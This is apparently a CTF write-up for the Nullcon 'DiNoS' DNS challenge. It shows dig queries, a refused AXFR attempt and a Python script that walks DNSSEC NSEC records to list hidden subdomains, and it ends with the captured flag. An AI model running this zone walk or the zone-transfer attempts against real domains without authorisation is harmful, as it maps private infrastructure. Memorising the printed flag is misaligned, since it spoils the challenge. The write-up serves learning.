Category: DNS / Misc
Difficulty: Medium
1. Challenge Overview
The challenge provided a custom DNS server (52.59.124.14:5052) with the hint: “Some flag escaped its enclosure. Now it is mixed up with the herd(dinos.nullcon.net).” The goal was to locate the flag hidden within a large number of DNS records.
2. Vulnerability Analysis
Step 1: Initial Connectivity Check
I first verified that I could reach the server using the suggested command.
dig @52.59.124.14 -p 5052 TXT "verify.enodns.nullcon.net"
Output:
;; ANSWER SECTION:
verify.enodns.nullcon.net. 3600 IN TXT "connection_successful_Have_Fun_With_our_DiNoS_Challenge"
Step 2: Attempting Zone Transfer (AXFR)
The “herd” suggested a large volume of records. I tried to dump the entire zone to see all subdomains at once.
dig @52.59.124.14 -p 5052 AXFR dinos.nullcon.net
Output:
; <<>> DiG 9.10.6 <<>> @52.59.124.14 -p 5052 AXFR dinos.nullcon.net
; Transfer failed.
AXFR was blocked, so I couldn’t list the subdomains directly.
Step 3: DNSSEC Reconnaissance
I checked if the server used DNSSEC by querying for a record I knew didn’t exist, specifically looking for NSECrecords.
dig @52.59.124.14 -p 5052 +dnssec TXT nonexistent.dinos.nullcon.net
Output:
;; AUTHORITY SECTION:
dinos.nullcon.net. 900 IN SOA dns-server. hostadmin.dinos.nullcon.net. 515 900 300 604800 900
nniiq2i82xmmcgm9shuxbh24cwfpwfujfidvurdotjdn2gvpezl8rk4j972e.dinos.nullcon.net. 900 IN NSEC nt3lvwncawi6lwglnmxsxzufoac3ynfps9fcfc8rnwsqixuciw5z8hcgnlmq.dinos.nullcon.net. TXT RRSIG NSEC
Vulnerability Identified: The presence of NSEC records allows for Zone Walking. The record above explicitly reveals the “Next” valid domain name in the sequence. By following this chain, I could map out every dinosaur in the “herd.”
3. Developing the Exploit
The SOA serial number 515 suggested there were over 500 records. I wrote a Python script to automate the “walk.” The script grabs the NSEC pointer, queries the newly discovered domain, and repeats.
4. The Solution Script
import subprocess
import re
server = "52.59.124.14"
port = "5052"
current_domain = "dinos.nullcon.net"
seen = set()
while current_domain not in seen:
seen.add(current_domain)
# Get NSEC record for current hop
cmd = ["dig", f"@{server}", "-p", port, "+dnssec", "NSEC", current_domain]
output = subprocess.check_output(cmd).decode()
# Parse the 'Next Domain'
pattern = rf"{re.escape(current_domain)}\.?\s+\d+\s+IN\s+NSEC\s+([^\s]+)"
match = re.search(pattern, output, re.IGNORECASE)
if not match: break
next_domain = match.group(1).rstrip('.')
# Check current domain for the flag
txt_cmd = ["dig", f"@{server}", "-p", port, "TXT", current_domain, "+short"]
flag = subprocess.check_output(txt_cmd).decode().strip()
if "ENO{" in flag:
print(f"\n[+] Found: {current_domain} -> {flag}")
break
current_domain = next_domain
5. The Winning Zone lol
The final command that manually confirmed the flag:
dig @52.59.124.14 -p 5052 TXT cvr5qjjwdqe9kp5dvu14g1krtnjswqtu9dqbajsigryd8rsf5xv95xa7tptv.dinos.nullcon.net
6. Result
The script traversed 139 hashed records before finding the flag.
Output:
[*] Starting the Zone Walk. This might take a minute...
Checked 139/515: ctyx5ztgyxk6p5x...
[+] FOUND IT!
Domain: cvr5qjjwdqe9kp5dvu14g1krtnjswqtu9dqbajsigryd8rsf5xv95xa7tptv.dinos.nullcon.net
Flag: "ENO{RAAWR_RAAAAWR_You_found_me_hiding_among_some_NSEC_DiNoS}"